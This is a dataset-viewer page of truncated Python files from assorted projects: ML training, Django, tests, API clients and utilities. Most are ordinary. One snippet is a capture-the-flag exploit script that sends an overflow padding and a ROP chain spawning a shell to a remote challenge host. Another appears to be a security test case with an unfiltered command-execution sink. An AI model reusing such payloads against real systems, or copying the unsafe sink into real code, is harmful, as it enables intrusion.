text stringlengths 1 927k |
|---|
import numpy as np
import sys
if len(sys.argv) < 3:
sys.exit("Usage: python average_predictions.py <predictions_file1> [predictions_file_2] [...] <output_file>")
predictions_paths = sys.argv[1:-1]
target_path = sys.argv[-1]
predictions = [np.load(path) for path in predictions_paths]
avg_predictions = np.mean(pred... |
# -*- coding: utf-8 -*-
from __future__ import absolute_import, print_function
import logging
import mock
import pytest
import uuid
from collections import namedtuple
from datetime import datetime, timedelta
from django.utils import timezone
from time import time
from sentry.app import tsdb
from sentry.constants im... |
import cmath
import math
j = complex(-1.0, 0.0)
print('cmath.phase')
print(cmath.phase(j))
print('math.atan2')
print(math.atan2(j.imag, j.real)) |
import numpy as np
import time
import pandas as pd
from xgboost.sklearn import XGBClassifier
from sklearn import preprocessing
from sklearn.model_selection import KFold
from sklearn.grid_search import GridSearchCV
from sklearn.metrics import accuracy_score
data_np=np.array(pd.read_csv('./UCI_CAD.csv'))
X=np.array([l... |
"""
task - Write a python program to scrape a given wikipedia page
and return the average of 3 letter, 4 letter and 5 letter
words per paragraph.
Observation - Wikipedia stores all the paragraphs in div with id = content
"""
import requests
from bs4 import BeautifulSoup
import math
class wiki:
""... |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-03-28 15:33
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('review', '0018_gradecomponent_mandatory'),
]
operations = [
migrations.AddF... |
# -*- coding: utf-8 -*-
"""
Created on Thu Nov 12 22:03:22 2020
@author: kelli
"""
from binarytodmx import *
import unittest
import filecmp
class TestDMX(unittest.TestCase):
def test_volcano(self):
""" test with frame data in np array from volcano.sc2
uses rc2 tools to read 'volcano.... |
"""Unit tests for PolynomialModel class
"""
import os
import unittest
import pandas as pd
from stock_trading_backend.agent import PolynomialModel
class TestPolynomialModel(unittest.TestCase):
"""Unit tests for PolynomialModel class.
"""
def test_initializes(self):
"""Checks if model initializes ... |
from Crypto.Cipher import AES
from django import forms
from django.forms import ValidationError
from .utils import get_decode_key
class DecodeForm(forms.Form):
optional_decode_key = forms.CharField(required=False)
message = forms.CharField(widget=forms.Textarea, required=True)
def clean_optional_decode_k... |
# -*- coding: utf-8 -*-
from django.apps import AppConfig
from django.utils.translation import gettext_lazy as _
class ActionloggerConfig(AppConfig):
name = 'actionlogger'
verbose_name = _("Actionlogger") |
# Time: ls: O(l + klogk), l is the path length, k is the number of entries in the last level directory
# mkdir: O(l)
# addContentToFile: O(l + c), c is the content size
# readContentFromFile: O(l + c)
# Space: O(n + s), n is the number of dir/file nodes, s is the total content size.
# Design an i... |
# Copyright (c) 2018 The Pooch Developers.
# Distributed under the terms of the BSD 3-Clause License.
# SPDX-License-Identifier: BSD-3-Clause
#
# This code is part of the Fatiando a Terra project (https://www.fatiando.org)
#
"""
The classes that actually handle the downloads.
"""
import sys
import ftplib
import reques... |
# Copyright 2014 Tesora, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
import os
import sys
import re
import types
import itertools
import matplotlib.pyplot as plt
import numpy
import scipy.stats
import numpy.ma
import Stats
import Histogram
from cgatReport.Tracker import *
from cpgReport import *
##########################################################################
class SharedI... |
import json
import shutil
import tempfile
from pathlib import Path
from typing import Any, Dict, List
import numpy as np
import gobbli.io
from gobbli.docker import run_container
from gobbli.model.base import BaseModel
from gobbli.model.context import ContainerTaskContext
from gobbli.model.mixin import EmbedMixin
from... |
"""
This file offers the methods to automatically retrieve the graph Sphingobacteriaceae bacterium DW12.
The graph is automatically retrieved from the STRING repository.
References
---------------------
Please cite the following if you use the data:
```bib
@article{szklarczyk2019string,
title={STRING v11: prot... |
import logging
from django.http import HttpResponseRedirect
from django.core.urlresolvers import reverse, NoReverseMatch
from django.contrib.sites.models import Site, get_current_site
from django.core.exceptions import ObjectDoesNotExist
from oscar.core.loading import get_class, get_model
OrderCreator = get_class('o... |
"""
# Copyright 2022 Red Hat
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... |
import logging
from utils import emit
logger = logging.getLogger(__name__)
discovered_samples = {}
def resource(decorated_resource):
def decorate(sample_func):
def run(*args, **kwargs):
emit("Running `{0}.{1}`".format(sample_func.__module__, sample_func.__name__))
sample_func(*a... |
from manimlib.imports import *
class DataRead(GraphScene):
def construct(self):
self.setup_axes()
coords = self.return_coords()
dots = VGroup(*[Dot().move_to(self.coords_to_point(coord[0],coord[1]))\
for coord in coords])
self.add(dots)
Line()
def return_coo... |
'''
Scott Carnahan
This allows these files to imported from throughout simple_ray_trace. It should be empty at least for now.
''' |
# -*- coding: utf-8 -*-
from __future__ import (unicode_literals, division, absolute_import,
print_function)
##########################################################
# Author: Yichen Huang (Eugene)
# GitHub: https://github.com/yichen0831/opencc-python
# January, 2016
##########################... |
"""
Converts the FIRE 2013 dataset to TSV
http://au-kbc.org/nlp/NER-FIRE2013/index.html
The dataset is in six tab separated columns. The columns are
word tag chunk ner1 ner2 ner3
This script keeps just the word and the ner1. It is quite possible that using the tag would help
"""
import argparse
import glob
impor... |
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# (C) British Crown Copyright 2017-2021 Met Office.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the ... |
import asyncio
import random
from variables import DEFAULT_PREFIX
from database import PREFIXES, LEVEL_DATABASE, PLUGINS, PERMISSIONS
async def get_prefix(ctx):
prefix = await PREFIXES.find_one({"_id": ctx.guild.id})
if prefix is not None:
return prefix["prefix"]
else:
return DEFAULT_PREF... |
'''
01_Setting the default style
For these exercises, we will be looking at fair market rent values calculated by the
US Housing and Urban Development Department. This data is used to calculate guidelines
for several federal programs. The actual values for rents vary greatly across the US.
We can use this dat... |
from yowsup.layers.protocol_ib.protocolentities.test_ib import IbProtocolEntityTest
from yowsup.layers.protocol_ib.protocolentities.dirty_ib import DirtyIbProtocolEntity
from yowsup.structs import ProtocolTreeNode
class DirtyIbProtocolEntityTest(IbProtocolEntityTest):
def setUp(self):
super(DirtyIbProtocolE... |
# https://runestone.academy/runestone/static/pythonds/AlgorithmAnalysis/Dictionaries.html
# | Operation | Big-O Efficiency |
# | ------------- | ------------------------------- |
# | copy | O(n) |
# | get item | O(1) (in some rare cases: O(n)) |
# | set item... |
# qubit number=5
# total number=51
import pyquil
from pyquil.api import local_forest_runtime, QVMConnection
from pyquil import Program, get_qc
from pyquil.gates import *
import numpy as np
conn = QVMConnection()
def make_circuit()-> Program:
prog = Program() # circuit begin
prog += H(0) # number=3
pr... |
# Copyright 2011-2012 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... |
from typing import FrozenSet, Tuple
import pysmt.typing as types
from pysmt.environment import Environment as PysmtEnv
from pysmt.fnode import FNode
from utils import symb_to_next
from hint import Hint, Location
def transition_system(env: PysmtEnv) -> Tuple[FrozenSet[FNode], FNode, FNode,
... |
from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType
import copy as _copy
class Textfont(_BaseTraceHierarchyType):
# color
# -----
@property
def color(self):
"""
Sets the text font color of selected points.
The 'color' property is a color and... |
# This script is intended for use in intermediate doc repos generated from docs.ms CI.
# Given a reference ToC and a set of namespaces, limit the reference to ToC entries that contain
# namespaces in our set.
import argparse
import pdb
import os
import fnmatch
import re
import json
# by default, yaml does not maintai... |
from keras.models import Sequential
from keras.layers import Dense
from sklearn.metrics import confusion_matrix
import numpy as np
import random
import time
ovr_acc = 0.0
start_time = time.time()
for j in range(1,21):
X_train = np.empty((0,252))
Y_train = np.array([])
X_test = np.empty((0,252))
Y_test ... |
from apitax.drivers.Driver import Driver
from apitax.utilities.Files import getAllFiles
from pathlib import Path
class ApitaxTestsDriver(Driver):
def isApiAuthenticated(self):
return False
def isTokenable(self):
return False
def getScriptsCatalog(self):
files = getAllFiles(self.c... |
# MicroPython aioble module
# MIT license; Copyright (c) 2021 Jim Mussared
from micropython import const, schedule
import uasyncio as asyncio
import binascii
import json
from .core import log_info, log_warn, ble, register_irq_handler
from .device import DeviceConnection
_IRQ_ENCRYPTION_UPDATE = const(28)
_IRQ_GET_SE... |
import requests
def get_method():
r = requests.get('https://en.wikipedia.org/wiki/Cat')
print(r.status_code)
print(r.headers['Content-Type'])
print(r.text)
# Save an image from an URL
def save_image():
image = requests.get('https://imgs.xkcd.com/comics/making_progress.png')
with open('/Users/m... |
version https://git-lfs.github.com/spec/v1
oid sha256:875706dfd94d1bec21c49c327ebbb5e3f5dd3e8024e55f076dddc507c43bef4d
size 5409 |
"""
Implement torch iterable dataset
- build vocab ordered by freq for
"""
from tqdm import tqdm
import torch
import torch.utils.data
from torch.utils.data.dataloader import DataLoader
import os
import sys
import pickle5 as pickle #import pickle
import math
from collections import defaultdict
SPLITS = ['train', 'v... |
#!/usr/bin/env python3
# Copyright 2013-present Barefoot Networks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... |
import time
import os
import sys
import urllib
import urllib.request
print('Start')
sys.stdout.flush()
os.chdir('/usr/share/horovod')
def get_init():
ftp_flag = False
while not ftp_flag:
try:
urllib.request.urlretrieve('http://172.18.29.81/ftp/script/local_init.py', '/usr/share/horovod/loc... |
#!/usr/bin/env python3
# Copyright (c) 2018-2020 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the Partially Signed Transaction RPCs.
"""
from decimal import Decimal
from itertools import prod... |
"""
========
briandoc
========
Sphinx extension that handles docstrings in the Numpy standard format with some
brian-specific tweaks. [1]
It will:
- Convert Parameters etc. sections to field lists.
- Convert See Also section to a See also entry.
- Renumber references.
- Extract the signature from the docstring, if i... |
# --------------
#Header files
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
#path of the data file- path
data = pd.read_csv(path)
#Code starts here
data['Gender'].replace('-','Agender',inplace=True)
gender_count = data['Gender'].value_counts()
gender_count.plot(kind='ba... |
#!/usr/bin/env python
"""Simple parsers for registry keys and values."""
import os
import re
import logging
from grr.lib import artifact_utils
from grr.lib import parsers
from grr.lib import rdfvalue
from grr.lib import type_info
from grr.lib import utils
from grr.lib.rdfvalues import client as rdf_client
SID_RE = ... |
# Webhooks for external integrations.
from typing import Any, Dict
from django.http import HttpRequest, HttpResponse
from zerver.decorator import api_key_only_webhook_view
from zerver.lib.actions import check_send_private_message
from zerver.lib.request import REQ, has_request_variables
from zerver.lib.response impor... |
'''
Hardcoded string input
no filtering
sink: run ls in a dir
'''
'''
Created by Paul E. Black and William Mentzer 2020
This software was developed at the National Institute of Standards and Technology
by employees of the Federal Government in the course of their official duties.
Pursuant to title 17 Section 105 of th... |
#!/usr/bin/env python
import warnings
import hvac
from ansible.module_utils.hashivault import hashivault_argspec
from ansible.module_utils.hashivault import hashivault_auth_client
from ansible.module_utils.hashivault import hashivault_init
from ansible.module_utils.hashivault import hashiwrapper
ANSIBLE_METADATA = {... |
# coding=utf-8
import unittest
from helpers import xroad
from main.maincontroller import MainController
from tests.xroad_configure_service_222 import configure_add_wsdl
class XroadAddWsdlSecurityServerClient(unittest.TestCase):
"""
UC SERVICE_08: Add a WSDL to a Security Server Client
RIA URL: https://ji... |
"""
Test handle tool functionality.
"""
import pytest
from gaphas.aspect import ConnectionSink
from gaphas.aspect import Connector as ConnectorAspect
from gi.repository import Gdk, Gtk
from gaphor import UML
from gaphor.application import Session
from gaphor.diagram.connectors import Connector
from gaphor.diagram.dia... |
# -*- coding: utf-8 -*-
# (c) 2015, Joseph Callen <jcallen () csc.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at yo... |
# coding: utf-8
"""
Server API
Reference for Server API (REST/Json)
OpenAPI spec version: 1.4.58
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import sys
from setuptools import setup, find_packages
NAME = "kinow_client"
VERSION = "1.0.0"
# To install the library, run th... |
def func1a():
print('1a') |
import sys
import numpy as np
from enum import Enum
from functools import lru_cache
from collections import Counter, defaultdict
class Move(Enum):
none = 0
down = 1
right = 2
diag = 3
from_start = 4
to_end = 5
def longest_path(word1, word2, weights, sigma):
n, m = len(word1), len(word2)... |
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# michael a.g. aïvázis <michael.aivazis@para-sim.com>
# (c) 1998-2022 all rights reserved
def test():
"""
Verify access to the channel properties
"""
# access
from journal import libjournal
# make a warning channel
channel = libjournal.War... |
# Webhooks for external integrations.
import re
from typing import Any, Dict, List, Optional
from django.db.models import Q
from django.http import HttpRequest, HttpResponse
from zerver.decorator import api_key_only_webhook_view
from zerver.lib.request import REQ, has_request_variables
from zerver.lib.response import... |
# Natural Language Toolkit: Generating from a CFG
#
# Copyright (C) 2001-2021 NLTK Project
# Author: Steven Bird <stevenbird1@gmail.com>
# Peter Ljunglöf <peter.ljunglof@heatherleaf.se>
# URL: <http://nltk.org/>
# For license information, see LICENSE.TXT
#
import itertools
import sys
from nltkma.grammar import... |
"""Computational algebraic field theory. """
from __future__ import print_function, division
from sympy import (
S, Rational, AlgebraicNumber,
Add, Mul, sympify, Dummy, expand_mul, I, pi
)
from sympy.functions.elementary.exponential import exp
from sympy.functions.elementary.trigonometric import cos, sin
fr... |
"""Matching logic for abstract values."""
import collections
import contextlib
import logging
from pytype import abstract
from pytype import abstract_utils
from pytype import compat
from pytype import datatypes
from pytype import function
from pytype import mixin
from pytype import special_builtins
from pytype import ... |
# racetrack route planner
# based on apex cone locations and track widths, get a
import numpy as np
maxv = 10
laterala = 8
maxk = 1.5
bw_v = np.pi*2*0.7
bw_w = np.pi*2*1.5
# track is a set of points and radii (positive or negative if track goes CCW/CW
# around each point)
# so first we determine the nearest point
... |
#!/usr/bin/env python3
import pwn
host = "pwn.heroctf.fr"
port = 9003
target = "WinButTwisted"
def exploit():
pr = pwn.connect(host, port)
elf = pwn.ELF(target)
rop = pwn.ROP(elf)
payload = b"A" * 32
rop.set_lock()
rop.shell()
payload += rop.chain()
print('len:', len(payload), payload... |
# Copyright 2022 Cisco Systems, Inc. and its affiliates
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... |
from typing import List
from pyrep.backend import sim
from pyrep.const import ObjectType
from pyrep.objects.force_sensor import ForceSensor
from pyrep.objects.object import Object
from pyrep.objects.shape import Shape
class Accelerometer(Object):
"""An object able to measure accelerations that are applied to it.... |
#!/usr/bin/python2
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); yo... |
import random
import string
# Gera senha aleatória
letras = string.ascii_letters
digitos = string.digits
caracteres = '!@#$%&*._-'
geral = letras + digitos + caracteres
senha = "".join(random.choices(geral, k=20))
print(senha) |
# -*- coding:utf-8 -*-
# pip3 install xlsxwriter
# pip3 install selenium
try:
import urllib.request as urllib2
except ImportError:
import urllib2
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_... |
import os
import pickle as pkl
import cv2
from .registry import DATASETS
import numpy as np
from tqdm import tqdm
from .base_dataset import BaseDataset
TRAIN_LABELS_DIR = 'labels/train'
TEST_LABELS_DIR = 'labels/valid'
TEST_IMGS_DIR = 'color_images/test'
SPLIT_DIRECTORIES = {'train': 'labels/train', 'val': 'labels/va... |
import chainer
import numpy as np
from chainerrl.agents import a3c
from chainerrl import links
from chainerrl import misc
from chainerrl.optimizers import rmsprop_async
from chainerrl import policy
from chainerrl import v_function
from chainerrl.wrappers import atari_wrappers
from chainerrl_visualizer import launch_v... |
#!/usr/bin/env python
from __future__ import print_function
from datetime import datetime
from subprocess import call
from mercury206 import commands, communications, config
def update_rrd(path, values):
value = ':'.join(['N'] + map(str, values))
call(['rrdtool', 'update', path, value])
print("Updated"... |
import io
import re
import sys
from itertools import combinations
import numpy as np
from math import factorial
_INPUT_ = """\
8
199 100 200 400 300 500 600 200
"""
#sys.stdin = io.StringIO(_INPUT_)
N = int(input())
AA = [0 for _ in range(200)]
#print(AA)
for x in input().split():
AA[int(x) % 200] += 1
#A = np.arr... |
"""
WSGI config for budgets_project project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJAN... |
from distutils.core import setup
setup(
name='autokeras',
packages=['autokeras'], # this must be the same as the name above
install_requires=['torch==0.4.0', 'torchvision==0.2.1', 'numpy==1.14.5', 'keras', 'scikit-learn==0.19.1', 'tensorflow'],
version='0.2.0',
description='Automated Machine Learn... |
#!/usr/bin/python3
import netmiko
#multi vendor liberary
device1={
'username' : 'root',
'password' : 'cisco',
'device_type' : 'cisco_ios',
'host' : '192.168.176.128'
}
device2={
'username' : 'root',
'password' : 'cisco',
'device_type' : 'cisco_ios',
... |
"""SCons.Tool.mslib
Tool-specific initialization for lib (MicroSoft library archiver).
There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.
"""
#
# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 T... |
"""
Test the __set_font function in the text module
"""
from vcs.vtk_ui.text import __set_font as set_font
import vtk
import os
from vtk_ui_test import vtk_ui_test
class test_vtk_ui_set_font(vtk_ui_test):
def do(self):
prop = vtk.vtkTextProperty()
set_font("Arial", prop)
if prop.GetFontF... |
"""
:Authors: cykooz
:Date: 12.01.2021
"""
from zope.interface.verify import verifyObject
from .common import derive_fabric
from .. import interfaces
def add_external_link_fabric(
config, fabric, name, resource_type=interfaces.IHalResource,
title='', description='', optional=False, templated=False,
... |
import os
import tensorflow as tf
from tqdm import tqdm
class ExperimentHandler:
def __init__(self, working_path, out_name, max_to_keep=3, **objects_to_save) -> None:
super().__init__()
# prepare log writers
train_log_path = _get_or_create_dir(working_path, out_name, 'logs', 'train')
... |
responses = {
'https://example.com/api/v1/something/': {
'count': 5,
'next': 'https://example.com/api/v1/something/?limit=3&offset=3',
'previous': None,
'results': [
{'id': 1}, {'id': 2}, {'id': 3}
],
'collection_links': {}
},
'https://example.com/... |
from hachoir.metadata.main import main
main() |
import glob
import os
import shutil
import subprocess
from settings import (
BITRATE, FRAMES_PER_SECOND, IMAGE_EXTENSION, IMAGE_DIRECTORY_NAME,
VIDEO_CODEC, VIDEO_EXTENSION, VIDEO_PIXEL_FORMAT,
)
from shapes.core.image import get_datetime_string
def make_movie(name=None):
"""
Take all files with exte... |
# Copyright 2015 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import annotations
import logging
import os
import sys
import time
import warnings
from typing import Any
from setproctitle import setproctitle as set_process_title
from... |
# -*- coding: utf-8 -*-
# PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN:
# https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code
from ccxt.async_support.base.exchange import Exchange
import hashlib
from ccxt.base.errors import ExchangeError
from ccxt.base.errors impor... |
# qubit number=3
# total number=73
import numpy as np
from qiskit import QuantumCircuit, execute, Aer, QuantumRegister, ClassicalRegister, transpile, BasicAer, IBMQ
from qiskit.visualization import plot_histogram
from typing import *
from pprint import pprint
from math import log2
from collections import Counter
from... |
#!/usr/bin/env python3
import pandas as pd
import sys
import urllib.request
import re
def get_taxid(url):
try:
sys.stderr.write(url+"\n")
assembly_stats = url + "/" + url.split("/")[-1] + "_assembly_stats.txt"
filedata = urllib.request.urlopen(assembly_stats).read().decode()
x = re... |
import argparse
import os
import random
import torch
import pytorch_lightning as pl
if __name__ == '__main__':
"""
Trains
Command:
python train.py
"""
# construct the argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-f", "--fine", type=str,
... |
#!/usr/bin/env python3
"""make causegraph based on wikidata JSON dump"""
import json
import pprint
import sys
from collections import Counter
import networkx as nx
from wd_constants import (all_times, cg_rels, times_plus_nested,
combined_inverses, lang_order, likely_nonspecific,
... |
#encoding=utf-8
from __future__ import (
absolute_import, division, print_function, unicode_literals
)
import argparse
import ast
import xml.parsers.expat
import re
import sys
import copy
import textwrap
license = """/*
* Copyright (C) 2016 Intel Corporation
*
* Permission is hereby granted, free of charge, t... |
import math
import os
import random
import torch
import torch.utils.data
import numpy as np
from librosa.core import load
from librosa.util import normalize
from librosa.filters import mel as librosa_mel_fn
MAX_WAV_VALUE = 32768.0
def load_wav(full_path, sampling_rate=None):
if os.path.splitext(full_path)[1] != ... |
from .modsim import Modsim |
# -*- coding: utf-8 -*-
# /usr/bin/env python
# coding=utf8
import hashlib
import random
import os
import requests
import sys
from urllib import parse
import json
from string import punctuation
# 翻译能力来自百度翻译
# https://api.fanyi.baidu.com/
# appid 和 secretKey 获取自[百度翻译开放平台管理控制器]
# https://api.fanyi.baidu.com/api/trans/... |
'''
Bulk release script for Dataverse.
Very useful if you've just imported a bunch of Dryad studies.
'''
import argparse
import time
import requests
from requests.adapters import HTTPAdapter
from urllib3.util import Retry
RETRY_STRATEGY = Retry(total=10,
status_forcelist=[429, 500, 502, 503, ... |
from resources import *
from request import Request
from oauth import Oauth
class Stravapy:
def __init__(self, access_token):
self.access_token = access_token
self.base_url = 'https://www.strava.com/api/v3'
self.headers = { 'Authorization' : f'Bearer: {access_token}' }
self.activiti... |
from torch.utils.data import DataLoader, Dataset
from torchvision import datasets
from .util import download_and_extract_archive
import os, glob
from PIL import Image
class DatasetMnist:
"""
This class loads MNIST dataset with applied transformations
# Functions:
__repr__:
... |
"""WolfJobs.
Usage:
docs.py [(<name1>|<name2>)] <name3>...
docs.py mov <name1> <name2>
docs.py (--h|--q) [<name1> -l]
docs.py --version
Options:
-h --help Show this screen.
--version Show version.
"""
from docopt import docopt
if __name__ == '__main__':
arguments = docopt(... |
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
# counter.py
def inc(x):
"""
Increments the value of x
>>> inc(4)
5
"""
return x + 1
def dec(x):
"""
Decrements the value of x
>>> dec(5)
4
"""
return x - 1 |
import functools
import mimetypes
import os
from platypush.utils import get_mime_type
from . import MediaHandler
class FileHandler(MediaHandler):
prefix_handlers = ['file://']
def __init__(self, source, *args, **kwargs):
super().__init__(source, *args, **kwargs)
self.path = os.path.abspath... |
import os
import logging
from typing import List
from datetime import datetime
from dataclasses import dataclass
import httpx
from slack_sdk import WebClient
from slack_sdk.errors import SlackApiError
# Logging setup
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
# Model setup
@dataclass
class Game:
... |
import cv2
import numpy as np
import pandas as pd
import os
import matplotlib.pyplot as plt
import shutil
from zipfile import ZipFile
# Detecting Gentian Violet Markers
# defining numpy arrays for HSV threshold values to look for in images
lower_violet = np.array([125, 100, 60], dtype=np.uint8)
upper_violet = np.arra... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.